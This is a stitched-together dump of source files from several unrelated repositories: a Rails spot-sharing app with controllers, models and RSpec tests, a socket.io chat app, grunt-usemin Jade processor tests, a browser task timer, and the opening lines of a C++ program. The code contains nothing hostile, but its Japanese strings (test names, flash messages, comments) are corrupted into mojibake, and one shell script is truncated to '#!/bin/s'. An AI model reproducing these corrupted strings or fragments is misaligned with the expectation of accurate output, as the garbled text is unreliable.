it 'ไปไบบใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content other_user.age
end
it 'ไปไบบใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content other_user.prefecture
expect(page).to have_content other_user.city
end
it '่ชๅใฎ่ชๅทฑ็ดนไปใ่กจ็คบใใใ' do
expect(page).to have_content other_user.introduction
end
it 'ใใใญใใฃใผใซใใฟใใ(ใฆใผใถใผ่ฉณ็ดฐ็ป้ขใธใฎใชใณใฏ)ใๅญๅจใใ' do
expect(page).to have_link 'ใใญใใฃใผใซใใฟใ', href: user_path(other_user)
end
end
end
context 'ไปไบบใฎๆ็จฟ็ทจ้็ป้ข' do
it '้ท็งปใงใใใใใใ็ป้ขใซใชใใคใฌใฏใใใใ' do
visit edit_spot_path(other_spot)
expect(current_path).to eq '/'
end
end
describe 'ไปไบบใฎใฆใผใถ่ฉณ็ดฐ็ป้ขใฎใในใ' do
before do
visit user_path(other_user)
end
context '่กจ็คบใฎ็ขบ่ช' do
it 'ใ(ไปไบบใฎใใใฏใใผใ ๅ) ใใใใจ่กจ็คบใใใฆใใ' do
expect(page).to have_content "#{other_user.nickname} ใใ"
end
it 'ไปไบบใฎใใญใใฃใผใซ็ปๅใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='profile_image.jpeg']")
end
it 'ไปไบบใฎใใใฏใใผใ ใ่กจ็คบใใใ' do
expect(page).to have_content other_user.nickname
end
it 'ไปไบบใฎๆงๅฅใ่กจ็คบใใใ' do
expect(page).to have_content other_user.sex
end
it 'ไปไบบใฎๅนด้ฝขใ่กจ็คบใใใ' do
expect(page).to have_content other_user.age
end
it 'ไปไบบใฎไฝๆใ่กจ็คบใใใ' do
expect(page).to have_content other_user.prefecture
expect(page).to have_content other_user.city
end
it 'ไปไบบใฎ่ชๅทฑ็ดนไปใ่กจ็คบใใใ' do
expect(page).to have_content other_user.introduction
end
it 'ไปไบบใฎใใฉใญใผๆฐใใใใใ่กจ็คบใใใ' do
expect(page).to have_content other_user.following.count
end
it 'ไปไบบใฎใใฉใญใฏใผๆฐใใใใใ่กจ็คบใใใ' do
expect(page).to have_content other_user.followers.count
end
it 'ไปไบบใฎในใใใๆฐใใใใใ่กจ็คบใใใ' do
expect(page).to have_content other_user.spots.count
end
it 'ไปไบบใฎ็ทใใใญๆฐใ่กจ็คบใใใ' do
user = User.find(other_user.id)
user_all_spots = user.spots
user_all_favorites_count = 0
user_all_spots.each do |spot|
user_all_favorites_count += spot.favorites.count
end
expect(page).to have_content user_all_favorites_count
end
it 'ใใใฉใญใผใใใใฎใใฟใณใๅญๅจใใ' do
expect(page).to have_button 'ใใฉใญใผใใ'
end
end
context 'ใตใคใใใผใฎ็ขบ่ช' do
it 'URLใๆญฃใใ' do
expect(current_path).to eq '/users/' + other_user.id.to_s
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎ็ปๅ(1ๆ็ฎ)ใ่กจ็คบใใใ' do
expect(page).to have_selector("img[src$='spot_image1.jpeg']")
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎใฟใคใใซใ่กจ็คบใใใใชใณใฏใๆญฃใใ' do
expect(page).to have_link other_spot.title, href: spot_path(other_spot)
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎๆๅจๅฐใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.prefecture
expect(page).to have_content other_spot.city
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎๆ็จฟๆฅใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.created_at.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎๆฅ่จชๆฅใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.visited_day.strftime("%Yๅนด%-mๆ%-dๆฅ")
end
it 'ในใใใไธ่ฆงใซไปไบบใฎในใใใใฎ่ฉไพกใ่กจ็คบใใใ', js: true do
expect(page).to have_content other_spot.rate
sleep 3
end
it 'ไปไบบใฎในใใใใฎใใใญใใฟใณใ่กจ็คบใใใ' do
expect(page).to have_link '', href: spot_favorites_path(other_spot)
end
it 'ไปไบบใฎในใใใใฎใใใญๆฐใ่กจ็คบใใใ' do
expect(page).to have_content other_spot.favorites.count
end
it '่ชๅใฎในใใใใฎใฟใคใใซใฏ่กจ็คบใใใชใ' do
expect(page).not_to have_link spot.title, href: spot_path(spot)
end
end
end
context 'ไปไบบใฎใฆใผใถๆ
ๅ ฑ็ทจ้็ป้ข' do
it '้ท็งปใงใใใใใใ็ป้ขใซใชใใคใฌใฏใใใใ' do
visit edit_user_path(other_user)
expect(current_path).to eq '/'
end
end
end
end
```
spots_controller.rb
```class SpotsController < ApplicationController
before_action :authenticate_user!, { only: [:new, :create] }
before_action :baria_user, { only: [:edit, :update, :destroy] }
def new
@spot = Spot.new
end
def create
@spot = Spot.new(spot_params)
@spot.user_id = current_user.id
@keyword_list = params[:spot][:keyword].split(nil)
if @spot.save
@spot.save_keyword(@keyword_list)
flash[:notice] = "ในใใใใๆ็จฟใใพใใ"
redirect_to spot_path(@spot.id)
else
render :new
end
end
def show
@spot = Spot.includes(:comments, :keywords).find(params[:id])
@user = @spot.user
@spot_keywords = @spot.keywords
@comments = @spot.comments.includes(:user)
@comment = Comment.new
@cookies = cookies[:favorite_spot_id]
end
def index
@q = Spot.ransack(params[:q])
@q.sorts = 'created_at desc' if @q.sorts.empty?
@spots = @q.result.page(params[:page]).includes(:favorites)
@cookies = cookies[:favorite_spot_id]
end
def edit
@spot = Spot.find(params[:id])
@keyword_list = @spot.keywords.pluck(:keyword).join(nil)
end
def update
@spot = Spot.find(params[:id])
@keyword_list = params[:spot][:keyword].split(nil)
if @spot.update(spot_params)
@spot.save_keyword(@keyword_list)
flash[:notice] = "ในใใใใๆดๆฐใใพใใ"
redirect_to spot_path(@spot.id)
else
render :edit
end
end
def destroy
@spot = Spot.find(params[:id])
@spot.destroy
flash[:notice] = "ในใใใใๅ้คใใพใใ"
redirect_to user_path(current_user)
end
private
def spot_params
params.require(:spot).permit(:title, :prefecture, :city, :visited_day, :rate, :spot_image1, :spot_image2, :spot_image3, :content)
end
def baria_user
if current_user.nil? || Spot.find(params[:id]).user.id.to_i != current_user.id
flash[:alert] = "ๆจฉ้ใใใใพใใ"
redirect_to top_path
end
end
end
```
favorites_controller.rb
```class FavoritesController < ApplicationController
def create
@spot = Spot.find(params[:spot_id])
if current_user.nil?
if cookies[:favorite_spot_id].nil?
cookies.permanent[:favorite_spot_id] = @spot.id.to_s
else
cookies.permanent[:favorite_spot_id] = cookies.permanent[:favorite_spot_id] + "," + @spot.id.to_s
end
Favorite.create(user_id: nil, spot_id: @spot.id)
@favorites_count = @spot.favorites.count
@cookies = cookies[:favorite_spot_id]
else
@favorite = current_user.favorites.new(spot_id: @spot.id)
@favorite.save
@favorites_count = @spot.favorites.count
end
@user = @spot.user
@spots = @user.spots.page(params[:page]).reverse_order
@user_all_spots = @user.spots
fav_count = @user_all_spots.joins(:favorites).group("spots.user_id").count("favorites.id")
@user_all_favorites_count = fav_count.present? ? fav_count.fetch(@user.id) : 0
if current_user.present?
@spot.create_notification_by(current_user)
respond_to do |format|
format.html {redirect_to request.referrer}
format.js
end
end
end
def destroy
@spot = Spot.find(params[:spot_id])
if current_user.nil?
else
@favorite = current_user.favorites.find_by(spot_id: @spot.id)
@favorite.destroy
end
@user = @spot.user
@spots = @user.spots.page(params[:page]).reverse_order
@favorites_count = @spot.favorites.count
@user_all_spots = @user.spots
fav_count = @user_all_spots.joins(:favorites).group("spots.user_id").count("favorites.id")
@user_all_favorites_count = fav_count.present? ? fav_count.fetch(@user.id) : 0
end
end
```
follow_relationship_spec.rb
```require 'rails_helper'
require 'shoulda/matchers'
RSpec.describe 'follow_relationshipใขใใซใฎใในใ', type: :model do
subject { active }
let(:user) { create(:user) }
let(:other_user) { create(:other_user) }
let(:active) { user.active_relationships.build(followed_id: other_user.id) }
# ใชใฌใผใทใงใณใทใใใฎๆๅนๆง
it { should be_valid }
describe 'ใใชใใผใทใงใณใฎใในใ' do
context 'followed_idใๅญๅจใใฆใใ' do
it { is_expected.to validate_presence_of :followed_id }
end
context 'follower_idใๅญๅจใใฆใใ' do
it { is_expected.to validate_presence_of :follower_id }
end
end
end
```
users_controller.rb
```class UsersController < ApplicationController
before_action :authenticate_user!, { only: [:show, :index, :following, :followers] }
before_action :baria_user, { only: [:edit, :update] }
def show
@user = User.find(params[:id])
@q = @user.spots.ransack(params[:q])
@q.sorts = 'created_at desc' if @q.sorts.empty?
@spots = @q.result.page(params[:page]).includes(:favorites)
@user_all_spots = @user.spots
@user_all_favorites_count = @user_all_spots.joins(:favorites).count
@cookies = cookies[:favorite_spot_id]
end
def index
@q = User.ransack(params[:q])
@users = @q.result(distinct: true).page(params[:page]).reverse_order
end
def edit
@user = User.find(params[:id])
end
def update
@user = User.find(params[:id])
if @user.update(user_params)
flash[:notice] = "ใใญใใฃใผใซใๆดๆฐใใพใใ"
redirect_to user_path(@user.id)
else
render :edit
end
end
def following
@title = "ใใฉใญใผไธ่ฆง"
@user = User.find(params[:id])
@users = @user.following.page(params[:page]).reverse_order
@following_count = User.joins(:following).group("follower_id").count("followed_id")
@followers_count = User.joins(:followers).group("followed_id").count("follower_id")
@user_spots_last_updated_at = Spot.group("user_id").order("spots.updated_at").pluck(:user_id, :updated_at).to_h
render 'show_follow'
end
def followers
@title = "ใใฉใญใฏใผไธ่ฆง"
@user = User.find(params[:id])
@users = @user.followers.page(params[:page]).reverse_order
@following_count = User.joins(:following).group("follower_id").count("followed_id")
@followers_count = User.joins(:followers).group("followed_id").count("follower_id")
@user_spots_last_updated_at = Spot.group("user_id").order("spots.updated_at").pluck(:user_id, :updated_at).to_h
render 'show_follow'
end
private
def user_params
params.require(:user).permit(:fullname, :nickname, :email, :sex, :birthday, :prefecture, :city, :profile_image, :introduction)
end
def baria_user
if current_user.nil? || User.find(params[:id]).id.to_i != current_user.id
flash[:alert] = "ๆจฉ้ใใใใพใใ"
redirect_to top_path
end
end
end
```
homes_controller.rb
```class HomesController < ApplicationController
def top
@q = Spot.ransack(params[:q])
@spots = @q.result(distinct: true).page(params[:page]).includes(:favorites).reverse_order
@cookies = cookies[:favorite_spot_id]
end
def about
end
end
```
keyword.rb
```FactoryBot.define do
factory :keyword do
keyword { Faker::Lorem.characters(number: 5) }
end
end
```
notification_spec.rb
```require 'rails_helper'
RSpec.describe 'Notificationใขใใซใฎใในใ', type: :model do
describe 'ใขใฝใทใจใผใทใงใณใฎใในใ' do
context 'Userใขใใซใจใฎ้ขไฟ' do
it 'serverใจN:1ใจใชใฃใฆใใ' do
expect(Notification.reflect_on_association(:server).macro).to eq :belongs_to
end
it 'hostN:1ใจใชใฃใฆใใ' do
expect(Notification.reflect_on_association(:host).macro).to eq :belongs_to
end
end
context 'Spotใขใใซใจใฎ้ขไฟ' do
it 'N:1ใจใชใฃใฆใใ' do
expect(Notification.reflect_on_association(:spot).macro).to eq :belongs_to
end
end
context 'Commentใขใใซใจใฎ้ขไฟ' do
it '1:1ใจใชใฃใฆใใ' do
expect(Notification.reflect_on_association(:comment).macro).to eq :belongs_to
end
end
end
end```
keyword_relationship.rb
```FactoryBot.define do
factory :keyword_relationship do
keyword
spot
end
end
```
user.rb
```class User < ApplicationRecord
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :validatable, :timeoutable
has_many :spots, dependent: :destroy
has_many :comments, dependent: :destroy
has_many :favorites, dependent: :destroy
has_many :favorited_spots, through: :favorites, source: :spot
has_many :active_relationships, class_name: "FollowRelationship", foreign_key: "follower_id", dependent: :destroy
has_many :passive_relationships, class_name: "FollowRelationship", foreign_key: "followed_id", dependent: :destroy
has_many :following, through: :active_relationships, source: :followed
has_many :followers, through: :passive_relationships, source: :follower
has_many :active_notifications, class_name: "Notification", foreign_key: "server_id", dependent: :destroy
has_many :passive_notifications, class_name: "Notification", foreign_key: "host_id", dependent: :destroy
attachment :profile_image
#ๅนด้ฝข
def age
day1 = birthday.strftime("%Y%m%d").to_i
day2 = Date.today.strftime("%Y%m%d").to_i
(day2 - day1) / 10000
end
#่ช็ๆฅใฎใใชใใผใทใงใณ
def birthday_is_valid?
errors.add(:birthday, "ใ็กๅนใชๆฅไปใงใ") if birthday.nil? || birthday > Date.today
end
#ใใฉใญใผ
def follow(other_user)
following << other_user
end
#ใใฉใญใผ่งฃ้ค
def unfollow(other_user)
active_relationships.find_by(followed_id: other_user.id).destroy
end
#ใใฉใญใผ็ขบ่ช
def following?(other_user)
following.include?(other_user)
end
#ใฆใผใถใผใๆ็จฟใใในใใใใฎ้ธๅฅ
def spot_present?(user)
spots.find { |f| f.user_id == user.id }.present?
end
#ใญใฐใคใณๆ
ๅ ฑ่จๆถๆฉ่ฝ
def remember_me
true
end
#ใใฉใญใผๆใฎ้็ฅ
def create_notification_follow!(current_user)
temp = Notification.where(["server_id = ? and host_id = ? and kind = ?", current_user.id, id, "follow"])
if temp.blank?
notification = current_user.active_notifications.new(host_id: id, kind: "follow")
notification.save if notification.valid?
end
end
validates :fullname, presence: true, length: { maximum: 20 }
validates :nickname, { presence: true, uniqueness: true, length: { maximum: 20 } }
validates :sex, presence: true
validate :birthday_is_valid?
validates :prefecture, presence: true
validates :city, presence: true, length: { maximum: 15 }
validates :introduction, length: { maximum: 50 }
end
```
notification.rb
```class Notification < ApplicationRecord
default_scope->{order(created_at: :desc)}
belongs_to :spot, optional: true
belongs_to :comment, optional: true
belongs_to :server, class_name: 'User', foreign_key: 'server_id', optional: true
belongs_to :host, class_name: 'User', foreign_key: 'host_id', optional: true
end
```
|
yuta0627/HelloGit
|
yuta0627/HelloGit
ss.sh
```#!/bin/s
```
|
yuta4j1/react-chatApp
|
yuta4j1/react-chatApp
header.css.d.ts
```export const navbar: string;
export const logoTitle: string;
```
index.ts
```const express = require('express');
const http = require('http');
const socketio = require('socket.io');
const path = require('path');
const app = express();
const PORT = 1234;
const server = http.createServer(app).listen(
PORT,
(): void => {
console.log(`โ http listening on ${PORT}`);
}
);
const io = socketio(server);
app.get('/', (req: Express.Request, res: Express.Response) => {
res.sendFile(path.resolve(__dirname, 'public/index.html'));
});
io.on('connection', (socket: Socket) => {
console.log('user connected');
socket.on('message', (msg: Message) => {
console.log('message log # ', msg.value);
io.emit('message', msg);
});
});
```
messagePanel.css.d.ts
```export const panelContainer: string;
export const panelItem: string;
```
socket.ts
```import * as io from 'socket.io-client';
const baseUrl = 'http://localhost:1234/';
const socket: SocketIOClient.Socket = io.connect(baseUrl);
// ใตใผใใใๅใๅใฃใmessageใpromiseใซใใใใง่ฟใ
const messagePromise = (msg: string = 'message') =>
new Promise<Message>(resolve => {
socket.on(msg, (message: Message) => {
resolve(message);
});
});
export const sendMessage = async (msg: Message): Promise<Message> => {
if (socket) {
socket.emit('message', msg);
}
return await messagePromise('message');
};
```
inputMessage.css.d.ts
```export const inputWrap: string;
export const inputMessage: string;
export const sendButton: string;
```
app.css.d.ts
```export const header: string;
export const body: string;
export const footer: string;
```
|
yutachang/potential-spice
|
yutachang/potential-spice
README.md
```# potential-spice
```
|
yuth/grunt-usemin
|
yuth/grunt-usemin
test-jadeprocessor.js
```'use strict';
var assert = require('assert');
var grunt = require('grunt');
var path = require('path');
var JadeProcessor = require('../lib/jadeprocessor');
describe('jadeprocessor', function () {
var filemapping = {
'foo.js': '1234.foo.js',
'/foo.js': '/1234.foo.js',
'bar.css': '5678.bar.css',
'image.png': '1234.image.png'
};
var revvedfinder = {
find: function (s) {
return filemapping[s] || s;
}
};
it('should initialize correctly', function () {
var jp = new JadeProcessor('', '', '', 3);
assert(jp !== null);
assert.equal(3, jp.revvedfinder);
assert.equal('\n', jp.linefeed);
assert.equal(0, jp.blocks.length);
});
it('should *not* skip blank lines', function () {
var jadecontent = ' // build:css foo.css \n link(rel="stylesheet" href="bar.css")\n\n link(rel="stylesheet" href="foo.css")\n // endbuild \n';
var jp = new JadeProcessor('', '', jadecontent, 3);
assert.equal(1, jp.blocks.length);
assert.equal('foo.css', jp.blocks[0].dest);
assert.equal(5, jp.blocks[0].raw.length);
assert.equal(2, jp.blocks[0].src.length);
assert.equal(' ', jp.blocks[0].indent);
});
it('should return the right number of blocks with the right number of lines', function () {
var filename = __dirname + '/fixtures/usemin.jade';
var jadecontent = grunt.file.read(filename);
var jp = new JadeProcessor(path.dirname(filename), '', jadecontent, 3);
assert.equal(3, jp.blocks.length);
var b1 = jp.blocks[0];
var b2 = jp.blocks[1];
var b3 = jp.blocks[2];
assert.equal(3, b1.raw.length);
assert.equal('css', b1.type);
assert.equal(1, b1.src.length);
assert.equal(15, b2.raw.length);
assert.equal('js', b2.type);
assert.equal(13, b2.src.length);
assert.equal(3, b3.raw.length);
assert.equal('js', b3.type);
assert.equal(1, b3.src.length); // requirejs has been added also
});
it('should also detect block that use alternate search dir', function () {
var filename = __dirname + '/fixtures/alternate_search_path.jade';
var htmlcontent = grunt.file.read(filename);
var jp = new JadeProcessor(path.dirname(filename), '', htmlcontent, 3);
assert.equal(2, jp.blocks.length);
var b1 = jp.blocks[0];
var b2 = jp.blocks[1];
assert.equal(4, b1.raw.length);
assert.equal('js', b1.type);
assert.equal(2, b1.src.length);
assert.equal(b1.src[0], 'build/scripts/bar.js');
assert.equal(b1.src[1], 'build/scripts/baz.js');
assert.equal(3, b2.raw.length);
assert.equal('js', b2.type);
assert.equal(2, b1.src.length);
});
it('should detect and handle the usage on RequireJS in blocks', function () {
var htmlcontent = '// build:js scripts/amd-app.js \n' +
'script(data-main="scripts/main", src="scripts/vendor/require.js")\n' +
'script(src="foo.js")\n' +
'// endbuild';
var jp = new JadeProcessor('', '', htmlcontent, 3);
assert.equal(1, jp.blocks.length);
assert.ok(jp.blocks[0].requirejs);
assert.equal('scripts/amd-app.js', jp.blocks[0].requirejs.dest);
assert.equal('scripts', jp.blocks[0].requirejs.baseUrl);
assert.equal('scripts/vendor/require.js', jp.blocks[0].requirejs.src);
assert.equal('main', jp.blocks[0].requirejs.name);
});
it('should take into consideration path of the source file', function () {
var htmlcontent = '// build:css bar/foo.css \n' +
'link(rel="stylesheet", href="bar.css")\n' +
'// endbuild ';
var jp = new JadeProcessor('build', '', htmlcontent, 3);
assert.equal(1, jp.blocks.length);
assert.equal('build/bar/foo.css', jp.blocks[0].dest);
assert.equal(1, jp.blocks[0].src.length);
assert.equal('build/bar.css', jp.blocks[0].src[0]);
});
it('should take into consideration path of the source file (RequireJS)', function () {
var htmlcontent = '// build:js scripts/amd-app.js \n' +
'script(data-main="scripts/main", src="scripts/vendor/require.js")\n' +
'script(src="foo.js")\n' +
'// endbuild ';
var jp = new JadeProcessor('build', '', htmlcontent, 3);
assert.equal(1, jp.blocks.length);
assert.equal('build/scripts/amd-app.js', jp.blocks[0].dest);
assert.ok(jp.blocks[0].requirejs);
assert.equal('build/scripts/amd-app.js', jp.blocks[0].requirejs.dest);
assert.equal('build/scripts', jp.blocks[0].requirejs.baseUrl);
assert.equal('main', jp.blocks[0].requirejs.name);
});
it('should take into consideration source files referenced from root', function () {
var htmlcontent = '// build:css /bar/foo.css \n' +
'link(rel="stylesheet", href="bar.css")\n' +
'// endbuild';
var jp = new JadeProcessor('', '', htmlcontent, 3);
assert.equal(1, jp.blocks.length);
assert.equal('bar/foo.css', jp.blocks[0].dest);
});
describe('replaceWith', function () {
it('should return a string that will replace the furnished block (JS)', function () {
var htmlcontent = ' // build:js foo.js \n script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n';
var jp = new JadeProcessor('', '', htmlcontent, 3);
var replacestring = jp.replaceWith(jp.blocks[0]);
assert.equal(' script(src="foo.js")', replacestring);
});
it('should return a string that will replace the furnished block (RequireJS)', function () {
var htmlcontent = ' // build:js foo \n script(data-main="scripts/main", src="scripts/vendor/require.js")\n // endbuild \n';
var jp = new JadeProcessor('', '', htmlcontent, 3);
var replacestring = jp.replaceWith(jp.blocks[0]);
assert.equal(' script(data-main="foo", src="scripts/vendor/require.js")', replacestring);
});
it('should return a string that will replace the furnished block (CSS)', function () {
var htmlcontent = ' // build:css foo.css \n link(rel="stylesheet", href="bar.css")\n\n link(rel="stylesheet", href="baz.css")\n //endbuild\n';
var jp = new JadeProcessor('', '', htmlcontent, 3);
var replacestring = jp.replaceWith(jp.blocks[0]);
assert.equal(replacestring, ' link(rel="stylesheet", href="foo.css")');
});
it('should replace with a path relative to the file', function () {
var htmlcontent = ' // build:js foo.js script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n';
var jp = new JadeProcessor('build', '', htmlcontent, 3);
var replacestring = jp.replaceWith(jp.blocks[0]);
assert.equal(replacestring, ' script(src="foo.js")');
});
});
describe('replaceBlocks', function () {
it('should replace blocks based on their types', function () {
var jsblock = ' // build:js foo.js \n script(src="scripts/bar.js")\n script(src="baz.js")\n // endbuild \n';
var cssblock = ' // build:css foo.css \n link(rel="stylesheet", href="bar.css")\n\n link(rel="stylesheet", href="baz.css")\n // endbuild \n';
var htmlcontent = jsblock + '\n\n' + cssblock;
var awaited = ' script(src="foo.js")\n\n\n link(rel="stylesheet", href="foo.css")\n';
var jp = new JadeProcessor('', '', htmlcontent, 3);
var replaced = jp.replaceBlocks();
assert.equal(replaced, awaited);
});
});
describe('replaceWithRevved', function () {
it('should replace file referenced from root', function () {
var content = 'script(src="/foo.js")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'script(src="/1234.foo.js")');
});
it('should not replace file if no revved version is found', function () {
var content = '<script src="bar.js"></script>';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, '<script src="bar.js"></script>');
});
it('should not treat file reference that are coming from templating', function () {
var content = '<script src="<% my_func() %>"></script>';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, '<script src="<% my_func() %>"></script>');
});
it('should not replace the root (i.e /)', function () {
var content = '<script src="/"></script>';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, '<script src="/"></script>');
});
it('should not replace external references', function () {
var content = '<script src="http://bar/foo.js"></script>';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, '<script src="http://bar/foo.js"></script>');
});
it('should replace script source with revved version', function () {
var content = 'script(src="foo.js")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'script(src="' + filemapping['foo.js'] + '")');
});
it('should replace accept additional parameters to script', function () {
var content = 'script(src="foo.js", type="text/javascript")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'script(src="' + filemapping['foo.js'] + '", type="text/javascript")');
});
it('should not add .js to data-main for requirejs', function () {
var content = '<script data-main="bar" src="require.js"></script>';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, '<script data-main="bar" src="require.js"></script>');
});
it('should replace CSS reference with revved version', function () {
var content = 'link(rel="stylesheet", href="bar.css")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'link(rel="stylesheet", href="' + filemapping['bar.css'] + '")');
});
it('should replace img reference with revved version', function () {
var content = 'img(src="image.png")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'img(src="' + filemapping['image.png'] + '")');
});
it('should replace data reference with revved version', function () {
var content = 'li(data-lang="fr", data-src="image.png")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'li(data-lang="fr", data-src="' + filemapping['image.png'] + '")');
});
it('should replace image reference in inlined style', function () {
var content = 'li(style="background: url("image.png");")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'li(style="background: url("' + filemapping['image.png'] + '");")');
});
it('should replace image reference in anchors', function () {
var content = 'a(href="image.png")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'a(href="' + filemapping['image.png'] + '")');
});
it('should replace image reference in input', function () {
var content = 'input(type="image", src="image.png")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.replaceWithRevved();
assert.equal(replaced, 'input(type="image", src="' + filemapping['image.png'] + '")');
});
});
describe('process', function () {
it('should replace blocks by targets and references by revved versions', function () {
var content = ' //build:js foo.js \n' +
' script(src="scripts/bar.js")\n' +
' script(src="baz.js")\n' +
' // endbuild \n' +
' img(src="image.png")';
var awaited = ' script(src="' + filemapping['foo.js'] + '")\n' +
' img(src="' + filemapping['image.png'] + '")';
var jp = new JadeProcessor('', '', content, revvedfinder);
var replaced = jp.process();
assert.equal(replaced, awaited);
});
});
});
```
|
yuuhidaisuki/Timer
|
yuuhidaisuki/Timer
schedule.js
```var timers = {};
var tasknumber = 0;
function findTagsByName(tagName, name){
var array = [];
var tags = document.body.getElementsByTagName(tagName);
for(var i = 0; i < tags.length ; i++){
if(tags[i].name === name){
array.push(tags[i]);
}
}
return array;
}
function findTagsByID(tagName, id){
var array = [];
var tags = document.body.getElementsByTagName(tagName);
for(var i = 0; i < tags.length ; i++){
if(tags[i].id === id){
array.push(tags[i]);
}
}
return array;
}
function timer(field){
//ใฟใคใใผใไบ้่ตทๅใใชใใใใซใใใ
if(field in timers){
return;
}
// setIntervalใงใณใผใซใใใฏใซๅผๆฐใๆๅฎใใใๅ ดๅใฏใ
// ็กๅ้ขๆฐใ็จใใใใฏใใใฏใใใใ
timers[field] = setInterval(function(){ cup(field)},1000);
}
var cup = function countUp(field){
var spans = findTagsByName("span", field);
if(spans.length == 0){
console.log("countUp: not found findTagsByName");
}else if(spans.length > 1){
console.log("countUp: too Match mached tags");
}
var span = spans[0];
var cur_time = timeToInt(span.textContent);
span.textContent = timeToString(cur_time + 1);
}
function timeToInt(time_string){
var hour = time_string.split(":")[0];
var min = time_string.split(":")[1];
var sec = time_string.split(":")[2];
return Math.floor(parseInt(hour) * 3600) + Math.floor(parseInt(min) * 60) + Math.floor(parseInt(sec));
}
function timeToString(time_sec){
return Math.floor(time_sec / 3600) + ":" + Math.floor(Math.floor(time_sec % 3600) / 60 ) + ":" + Math.floor(time_sec % 60);
}
function stopTime(field){
clearInterval(timers[field]);
// ใใฎๆ็นใงใใฎใใฃใผใซใใฏ็จ็กใใชใฎใงๅ้ค
delete timers[field];
}
function clearTime(field){
stopTime(field);
findTagsByName("span", field)[0].textContent = timeToString(0);
}
function addTask(field, parentNode){
tasknumber++;
var name = "task" + tasknumber;
var new_element = makeDiv(name, name + ":");
var new_text = document.createElement("input");
new_text.name = name;
new_text.type = "text";
new_element.appendChild(new_text);
new_element.appendChild(makeButton(name, "start", function(){ timer(name); }));
new_element.appendChild(makeButton(name, "stop", function(){ stopTime(name); }));
new_element.appendChild(makeButton(name, "clear", function(){ clearTime(name); }));
new_element.appendChild(makeSpan(name, "0:0:0"));
parentNode.appendChild(new_element);
}
function makeButton(name, value, handler){
var new_elem = document.createElement("input");
new_elem.type = "button";
new_elem.value = value;
new_elem.onclick = handler;
return new_elem;
}
function makeDiv(name, innerHTML){
var new_elem = document.createElement("div");
new_elem.name = name;
new_elem.innerHTML = innerHTML;
return new_elem;
}
function makeSpan(name, innerHTML){
var new_elem = document.createElement("span");
new_elem.name = name;
new_elem.innerHTML = innerHTML;
return new_elem;
}
function outputText(textNode, format){
var outText = "";
var totalTime = 0;
var tasks_div = findTagsByID('div', 'tasklist');
var tasks = tasks_div[0].children;
for(i = 0; i < tasks.length; i++){
var task_children = tasks[i].children;
for(j = 0; j < task_children.length; j++){
if(task_children[j].tagName === "INPUT" && task_children[j].type === "text"){
if(format === "plane"){
outText += "ใป" + task_children[j].value;
}else if(format === "csv"){
outText += task_children[j].value;
}
}
if(task_children[j].tagName === "SPAN" ){
if(format === "plane"){
outText += "๏ผ" + task_children[j].textContent + "<br>"
}else if(format === "csv"){
outText += "," + task_children[j].textContent +"<br>"
}
totalTime += timeToInt(task_children[j].textContent);
}
}
}
var temp_timeLimit = /^[0-9]+:[0-9]{1,2}:[0-9]{1,2}$/.test(document.getElementsByName("setTimeLimit")[0].value);
var timeLimit = 7 * 60 * 60 + 30 * 60;
if(temp_timeLimit){
var temp = document.getElementsByName("setTimeLimit")[0].value.split(":");
timeLimit = parseInt(temp[0]) * 60 * 60 + parseInt(temp[1]) * 60 + parseInt(temp[2]);
}
var otherTime = timeLimit - totalTime;
textNode.innerHTML = outText;
if(format === "plane"){
textNode.innerHTML += "Total:" + timeToString(totalTime) + "<br>";
textNode.innerHTML += "Other:" + timeToString(otherTime) + "<br>";
}else if(format === "csv"){
textNode.innerHTML += "Total," + timeToString(totalTime) + "<br>";
textNode.innerHTML += "Other," + timeToString(otherTime) + "<br>";
}
}
window.onload = function(){ addTask('task0', findTagsByID('div', 'tasklist')[0] ) };
```
README.md
```#Timer
## Description
This is a simple task timer. This works on web browser.
## Usage
1. Downlaod schedule.html and schedule.js.
2. Put them into same local directory.
3. Open schedule.html with your web browser.
```
|
yuuu14/competitve_programming_ss20
|
yuuu14/competitve_programming_ss20
covering.cpp
```#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
#include <chrono>
#include <fstream>
#define INPUT cin
using namespace std;
template <typename T>
bool contains(vector<T> A, vector<T> B);
pair<long, vector<int>> getset(string s);
int main() {
fstream file("2.in");
vector<pair<long, vector<int>>> sets;
string s;
